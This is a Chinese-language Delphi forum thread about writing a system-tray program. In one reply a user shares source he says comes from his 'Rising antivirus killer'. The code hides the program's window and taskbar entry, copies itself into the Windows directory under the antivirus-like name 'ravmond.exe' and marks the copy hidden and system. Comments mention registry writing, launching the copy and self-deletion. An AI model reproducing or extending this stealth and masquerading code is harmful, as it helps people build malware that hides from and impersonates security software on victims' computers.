一直没有写过托盘程序,现在写一个居然不是想象那么容易! 托盘程序运行时系统的问题???(300分)

  • 主题发起人 主题发起人 kk2000
  • 开始时间 开始时间
问题是自己的当然要自己来解决了! 谢谢各位. 昨晚我一个一个的排除.<br>终于解决问题了.<br>原因是: 我自己写的一个主类,里面因为需要接收消息,所以创建了一个窗口.<br>而造成的. 所以在关机时必须先释放这个主控类,就OK了.
 
给你一段我写的瑞星杀手中的源码<br>呵呵<br>procedure TForm1.FormCreate(Sender: TObject);<br> var<br> &nbsp; F3: string;<br>begin<br> &nbsp; &nbsp;Application.ShowMainForm:=False;<br> &nbsp; &nbsp;form1.Left:=-200;<br> &nbsp; &nbsp;Form1.Timer1.Enabled :=True; &nbsp;//写注册表<br> with Application do<br> &nbsp; SetWindowLong(Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW or GetWindowLong(Handle, GWL_EXSTYLE));<br><br> &nbsp;with MyNotifyStruct do begin<br> &nbsp; &nbsp;cbSize := sizeof(MyNotifyStruct);<br> &nbsp; &nbsp;Wnd := Handle;<br> &nbsp; &nbsp;uID := 1;<br> &nbsp; &nbsp;uFlags := &nbsp;NIF_ICON or NIF_TIP or NIF_MESSAGE;<br> &nbsp; &nbsp;hIcon := Application.Icon.Handle;<br><br> &nbsp;end;<br> &nbsp;Shell_NotifyIcon(NIM_ADD, @MyNotifyStruct);<br> &nbsp;ShowWindow(Application.Handle,SW_HIDE);<br> &nbsp;SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);<br><br>begin<br> &nbsp;F3 := GetWinDir + '/ravmond.exe'; &nbsp; &nbsp;//复制一份到系统目录<br> &nbsp;if not FileExists(F3) then<br> &nbsp;begin<br><br><br><br> &nbsp; &nbsp; CopyFile(pchar(ParamStr(0)), pchar(F3), true); &nbsp;//复制<br> &nbsp; &nbsp; SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);<br> &nbsp; &nbsp; {设置文件的属性为系统和隐藏}<br> &nbsp; &nbsp; //winexec(pchar(F3), 1); &nbsp; &nbsp;{运行文件}<br> &nbsp; &nbsp; //application.Terminate; &nbsp; &nbsp;//关闭释放 文件<br> &nbsp; &nbsp;// deleteSelf; &nbsp; &nbsp;//自删除<br> &nbsp; &nbsp; Close;<br><br>end;<br><br>end;<br><br>end;<br><br>procedure TForm1.FormDestroy(Sender: TObject);<br>begin<br>Shell_NotifyIcon(NIM_DELETE, @MyNotifyStruct);<br>end;
 
TO: 大狗熊 &nbsp; 我对你的自删除deleteSelf; 有兴趣. 不过是(EXE)自己删除自己的啊 <br>因为我近来要写一个安装程序, 卸载的时候要使用到的 能不能公开这部分代码给我看看.<br>先感谢!
 
后退
顶部